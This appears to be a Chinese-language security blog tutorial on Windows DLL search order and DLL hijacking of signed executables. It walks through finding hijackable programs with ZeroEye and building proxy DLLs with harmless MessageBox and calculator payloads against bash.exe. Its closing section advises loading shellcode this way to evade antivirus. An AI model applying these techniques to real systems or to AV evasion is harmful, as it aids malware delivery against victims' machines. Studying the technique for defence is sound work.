<h2 id="一dll-基础知识">一、DLL 基础知识</h2>
<p>DLL（Dynamic Link Library）文件为动态链接库文件，又称「应用程序拓展」，是软件文件类型。在 Windows 中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即 DLL 文件。</p>
<p>简单来说，DLL 是把一部分通用功能封装成独立模块，EXE 在运行时加载并调用这些功能，而不是把所有代码都编译进自身。</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/01-dll-overview.jpg" alt="" referrerpolicy="no-referrer"></p>
<h2 id="二什么是白加黑">二、什么是「白加黑」</h2>
<p>白加黑（Binary Hijacking / DLL Hijacking）本质是：</p>
<ul>
<li><strong>白</strong>：合法、可信、已签名的可执行文件（EXE）</li>
<li><strong>黑</strong>：攻击者控制的恶意 DLL</li>
<li><strong>利用点</strong>：Windows 的 DLL 搜索与加载顺序缺陷</li>
</ul>
<p>当白程序启动时，由于 DLL 搜索顺序问题，<strong>优先加载了攻击者放置的恶意 DLL</strong>，从而实现代码执行。</p>
<h2 id="三windows-dll-加载的基本流程">三、Windows DLL 加载的基本流程</h2>
<h3 id="1-隐式动态加载最常见">1. 隐式动态加载（最常见）</h3>
<p><strong>EXE 在编译 / 链接阶段就声明对 DLL 的依赖，系统在进程启动阶段自动完成 DLL 加载与函数绑定。</strong></p>
<ul>
<li>在 EXE 的 <strong>Import Table（IAT）</strong> 中声明依赖 DLL</li>
<li>进程启动时，系统自动加载所需 DLL</li>
</ul>
<p>示例：</p>
<p>test.h</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#pragma once
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#ifdef __cplusplus
</span></span></span><span class="line"><span class="cl"><span class="k">extern</span> <span class="s">&#34;C&#34;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">__declspec</span><span class="p">(</span><span class="n">dllimport</span><span class="p">)</span> <span class="kt">void</span> <span class="n">box</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#ifdef __cplusplus
</span></span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif</span></span></span></code></pre></div></div>
<p>test.cpp</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;test.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">extern</span> <span class="s">&#34;C&#34;</span> <span class="kr">__declspec</span><span class="p">(</span><span class="n">dllexport</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="n">box</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">MessageBoxA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">&#34;test&#34;</span><span class="p">,</span> <span class="s">&#34;test.dll&#34;</span><span class="p">,</span> <span class="n">MB_OK</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<p>main.cpp</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;test.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#pragma comment(lib, &#34;testdll.lib&#34;)
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">box</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<ol>
<li><code>#include &quot;test.h&quot;</code> 告诉编译器：<code>box()</code> 这个函数存在，它的函数签名是什么。</li>
<li><code>#pragma comment(lib, &quot;testdll.lib&quot;)</code> 告诉<strong>链接器</strong>这个 EXE 需要用到一个 DLL 中导出的函数 <code>box</code>，导入信息在 <code>testdll.lib</code> 里。</li>
<li>链接器会在 EXE 中生成 Import Table：</li>
</ol>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><pre tabindex="0"><code>Import Directory
  └── testdll.dll
        └── box</code></pre></div>
<p>可以使用 <code>dumpbin</code> 查看生成的 exe import 导入情况：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/02-import-table.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>这是 exe 执行情况，其调用了 dll 里的 <code>box</code> 函数：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/03-implicit-load-run.jpg" alt="" referrerpolicy="no-referrer"></p>
<hr>
<h3 id="2-显式动态加载">2. 显式动态加载</h3>
<p><strong>EXE 在编译 / 链接阶段不声明任何 DLL 依赖，而是在运行时通过 API 主动加载 DLL，并手动获取函数地址。</strong></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-c">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="nf">LoadLibrary</span><span class="p">(</span><span class="s">&#34;test.dll&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">LoadLibraryEx</span><span class="p">(</span><span class="s">&#34;test.dll&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span></span></span></code></pre></div></div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="c1">// main.cpp
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="nf">void</span> <span class="p">(</span><span class="o">*</span><span class="n">BOX_FUNC</span><span class="p">)();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">HMODULE</span> <span class="n">h</span> <span class="o">=</span> <span class="n">LoadLibraryA</span><span class="p">(</span><span class="s">&#34;testdll.dll&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">h</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">MessageBoxA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">&#34;LoadLibrary failed&#34;</span><span class="p">,</span> <span class="s">&#34;error&#34;</span><span class="p">,</span> <span class="n">MB_OK</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">BOX_FUNC</span> <span class="n">box</span> <span class="o">=</span> <span class="p">(</span><span class="n">BOX_FUNC</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="s">&#34;box&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">box</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">box</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">FreeLibrary</span><span class="p">(</span><span class="n">h</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<p><strong><code>LoadLibraryA(&quot;testdll.dll&quot;)</code></strong> 是显式加载的核心。系统在这里会：</p>
<ol>
<li>搜索 <code>testdll.dll</code></li>
<li>映射 DLL 到当前进程地址空间</li>
<li>调用 <code>DllMain(DLL_PROCESS_ATTACH)</code></li>
<li>返回 DLL 的模块基址（HMODULE）</li>
</ol>
<blockquote>
<p>⚠️ 这一步<strong>不是进程启动时做的</strong>，而是代码执行到这里才发生。</p>
</blockquote>
<p><strong><code>GetProcAddress</code></strong> 在 <code>testdll.dll</code> 的 <strong>Export Table</strong> 中查找 <code>&quot;box&quot;</code>，返回函数真实地址并赋值给函数指针，此时才完成「函数绑定」。随后调用 <code>box()</code> 执行目标函数。</p>
<p>使用显式动态加载生成的 exe 文件，用 <code>dumpbin</code> 查看会发现 imports 内未找到 <code>testdll.dll</code>：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/04-explicit-no-import.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>程序执行截图：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/05-explicit-load-run.jpg" alt="" referrerpolicy="no-referrer"></p>
<h3 id="3-区别">3. 区别</h3>
<p>一般来说：</p>
<ul>
<li><strong>业务正常、依赖稳定、必须存在的功能 → 用隐式</strong></li>
<li><strong>可选功能、插件化、兼容多系统版本、规避依赖 → 用显式</strong></li>
</ul>
<table>
	<thead>
			<tr>
					<th>维度</th>
					<th>隐式加载</th>
					<th>显式加载</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>DLL 是否必需</td>
					<td>是</td>
					<td>否</td>
			</tr>
			<tr>
					<td>接口稳定性</td>
					<td>高</td>
					<td>可能变化</td>
			</tr>
			<tr>
					<td>开发复杂度</td>
					<td>低</td>
					<td>高</td>
			</tr>
			<tr>
					<td>控制加载时机</td>
					<td>否</td>
					<td>是</td>
			</tr>
			<tr>
					<td>IAT 可见性</td>
					<td>可见</td>
					<td>不可见</td>
			</tr>
			<tr>
					<td>失败是否致命</td>
					<td>是</td>
					<td>可控</td>
			</tr>
			<tr>
					<td>插件支持</td>
					<td>不适合</td>
					<td>非常适合</td>
			</tr>
	</tbody>
</table>
<h2 id="四windows-dll-搜索顺序">四、Windows DLL 搜索顺序</h2>
<p>在<strong>未指定完整路径</strong>的情况下，Windows 按以下顺序查找 DLL（默认情况）：</p>
<ol>
<li><strong>程序自身所在目录</strong></li>
<li><code>C:\Windows\System32</code></li>
<li><code>C:\Windows\System</code></li>
<li><code>C:\Windows</code></li>
<li><strong>当前工作目录（CWD）</strong></li>
<li><code>PATH</code> 环境变量中的目录</li>
</ol>
<p>对于 <code>user32.dll</code> 这种系统关键 DLL，属于 Known DLL，不会走普通 DLL 搜索顺序，系统会强制从 <code>System32</code> 加载。</p>
<table>
	<thead>
			<tr>
					<th>DLL 类型</th>
					<th>是否可被同目录劫持</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>普通第三方 DLL</td>
					<td>可以</td>
			</tr>
			<tr>
					<td>应用私有 DLL</td>
					<td>可以</td>
			</tr>
			<tr>
					<td><code>user32.dll</code></td>
					<td>不可以（Known DLL）</td>
			</tr>
			<tr>
					<td><code>kernel32.dll</code></td>
					<td>不可以（Known DLL）</td>
			</tr>
			<tr>
					<td><code>ntdll.dll</code></td>
					<td>不可以（Known DLL）</td>
			</tr>
	</tbody>
</table>
<p>Known DLLs 注册表项路径为 <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs</code>。</p>
<p>常见的 Known DLL 包括：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><pre tabindex="0"><code>ntdll.dll
kernel32.dll
kernelbase.dll
user32.dll
gdi32.dll
advapi32.dll
...</code></pre></div>
<h2 id="五白加黑攻击的形成条件">五、「白加黑」攻击的形成条件</h2>
<p>一个白程序可被「白加黑」，通常满足：</p>
<ol>
<li>白程序存在 DLL 依赖</li>
<li>DLL 加载路径不安全</li>
<li>攻击者可写入高优先级目录</li>
</ol>
<h2 id="六实战案例">六、实战案例</h2>
<p>在实际场景中，<strong>手工挖掘白文件虽然可行，但效率低、覆盖面有限，且高度依赖个人经验</strong>。更推荐使用自动化工具进行系统性发现与验证。</p>
<p>例如 <strong>ZeroEye</strong>，其通过对可执行文件的 <strong>DLL 加载行为、Import Table、运行时文件访问及异常加载路径</strong> 进行自动化分析，能够快速定位存在 DLL 劫持、隐式加载等风险的白文件候选目标。相较人工逐个逆向或动态调试，自动化工具在<strong>规模化扫描、一致性判断和复现稳定性</strong>上具有明显优势，更适合作为白文件挖掘的首选手段，而人工分析则用于后续的精准确认与利用评估。</p>
<h3 id="1-搭建环境">1. 搭建环境</h3>
<p>下载一个安装了很多程序的虚拟机，这里使用的是 <a href="https://github.com/arch3rPro/Pentest-Windows" target="_blank" rel="noopener noreffer ">Pentest-Windows11 v3.2</a>。</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/06-pentest-vm.jpg" alt="" referrerpolicy="no-referrer"></p>
<h3 id="2-扫描白文件">2. 扫描白文件</h3>
<p>使用 ZeroEye 工具扫描 D 盘：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">./zeroeye.exe -p d:<span class="err">\</span></span></span></code></pre></div></div>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/07-zeroeye-scan.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>绿色的就是潜在的白文件，对 <code>bash</code> 这个程序分析一下：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/08-bash-candidate.jpg" alt="" referrerpolicy="no-referrer"></p>
<p><code>dumpbin</code> 查看 <code>bash.exe</code> 文件调用了 <code>msys-2.0.dll</code>：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/09-dumpbin-msys.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>也可以通过 Process Monitor 工具分析依赖：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/10-procmon-deps.jpg" alt="" referrerpolicy="no-referrer"></p>
<h3 id="3-dll-制作">3. DLL 制作</h3>
<ol>
<li>使用 VS 创建 DLL 项目</li>
</ol>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/11-vs-dll-project.jpg" alt="" referrerpolicy="no-referrer"></p>
<ol start="2">
<li>使用 CFF 工具导出 msys dll 的所有函数列表</li>
</ol>
<blockquote>
<p><strong>CFF Explorer</strong> 可用于对 EXE 文件进行静态分析，通过解析 PE 结构中的 <strong>Import Table</strong>，快速识别程序在加载阶段所依赖的 DLL 及对应导入函数。借助该工具，可以直观查看每个依赖 DLL 的名称、导入方式（按名称或序号）以及具体函数列表，从而判断程序的隐式 DLL 加载行为，为分析 DLL 劫持风险、白文件利用点及依赖关系提供基础依据。</p>
</blockquote>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/12-cff-exports.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>源文件内新建模块 <code>.def</code> 文件：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/13-def-file.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>将前面导出的函数都指向一个自定义函数：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/14-def-redirect.jpg" alt="" referrerpolicy="no-referrer"></p>
<p><code>dllmain.cpp</code> 内容如下：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="c1">// dllmain.cpp : 定义 DLL 应用程序的入口点。
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;pch.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;windef.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">extern</span> <span class="nf">__declspec</span><span class="p">(</span><span class="n">dllexport</span><span class="p">)</span> <span class="kt">int</span> <span class="n">all_exec</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">MessageBoxA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">&#34;dll inject text&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">BOOL</span> <span class="n">APIENTRY</span> <span class="nf">DllMain</span><span class="p">(</span> <span class="n">HMODULE</span> <span class="n">hModule</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                       <span class="n">DWORD</span>  <span class="n">ul_reason_for_call</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                       <span class="n">LPVOID</span> <span class="n">lpReserved</span>
</span></span><span class="line"><span class="cl">                     <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">switch</span> <span class="p">(</span><span class="n">ul_reason_for_call</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">DLL_PROCESS_ATTACH</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">DLL_THREAD_ATTACH</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">DLL_THREAD_DETACH</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">DLL_PROCESS_DETACH</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<p>该代码实现了一个简单的 Windows DLL。DLL 对外导出函数 <strong>all_exec</strong>，在被调用时通过 <code>MessageBoxA</code> 弹出提示窗口，用于验证 DLL 是否被成功加载与执行。</p>
<p>前面通过 <code>.def</code> 文件将多个导出符号统一指向自定义函数 <strong>all_exec</strong>，当白文件在加载并调用任一导出接口时，最终都会进入 <code>all_exec</code> 执行逻辑。</p>
<h3 id="4-生成-dll">4. 生成 DLL</h3>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/15-build-dll-1.jpg" alt="" referrerpolicy="no-referrer"></p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/16-build-dll-2.jpg" alt="" referrerpolicy="no-referrer"></p>
<h3 id="5-运行测试">5. 运行测试</h3>
<p>将 <code>bash.exe</code> 白文件和生成的恶意 dll 放入任意同一目录下，双击执行 <code>bash.exe</code>，如下劫持成功，执行了我们的 <code>MessageBoxA</code> 函数。</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/17-hijack-success.jpg" alt="" referrerpolicy="no-referrer"></p>
<h3 id="6-显式动态加载-dll-制作">6. 显式动态加载 DLL 制作</h3>
<p>ZeroEye 的原理是通过对可执行文件的 <strong>DLL 加载行为、Import Table、运行时文件访问及异常加载路径</strong> 进行自动化分析，定位存在 DLL 劫持、隐式加载的白文件候选目标。</p>
<p>动态加载 DLL 的白文件需要人工发现。同样以 <code>bash.exe</code> 为例，在对 <code>bash.exe</code> 进行动态分析时，通过 <strong>Process Monitor</strong> 观察到其在运行过程中尝试动态加载某个 DLL，但对应文件访问结果为 <strong>NAME NOT FOUND</strong>。同时，未在其 IAT 发现该 DLL。这表明该白文件在执行路径中存在<strong>显式的动态 DLL 加载逻辑</strong>，只是当前系统环境中未找到目标 DLL 文件。一旦在其 DLL 搜索路径中放置符合名称与导出要求的 DLL，即可能被成功加载并执行，从而构成潜在的白加黑利用条件。</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/18-procmon-explicit.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>新建 DLL 项目，在 <code>DLL_PROCESS_ATTACH</code> 下写一个弹计算器的命令，然后生成 DLL 名为 <code>CRYPTBASE.DLL</code>（<code>DLL_PROCESS_ATTACH</code> 表示 <strong>DLL 被某个进程成功加载并映射到其地址空间的时刻</strong>，<strong>无需宿主程序显式调用任何导出函数</strong>，只要 DLL 被加载，相关代码就会自动执行）。</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/19-cryptbase-dll.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>将白文件和 DLL 依赖放入同一目录下执行：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/20-explicit-hijack-run.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>需要注意：目录下必须放 <code>msys-2.0.dll</code>，原始 dll 就行，因为它是隐式动态加载，没有它程序无法运行：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/21-msys-required.jpg" alt="" referrerpolicy="no-referrer"></p>
<h2 id="七实战手法">七、实战手法</h2>
<p>上面已经验证了 DLL 劫持的可行性。实际在实战过程中，可以将 shellcode 通过 dll 函数进行加载，从而实现免杀效果——白文件有签名，执行不会被拦截，静态免杀一般没问题；一些内存特征明显的载荷，可能会被卡巴、Avast 等内存查杀。</p>]]></description></item></channel></rss>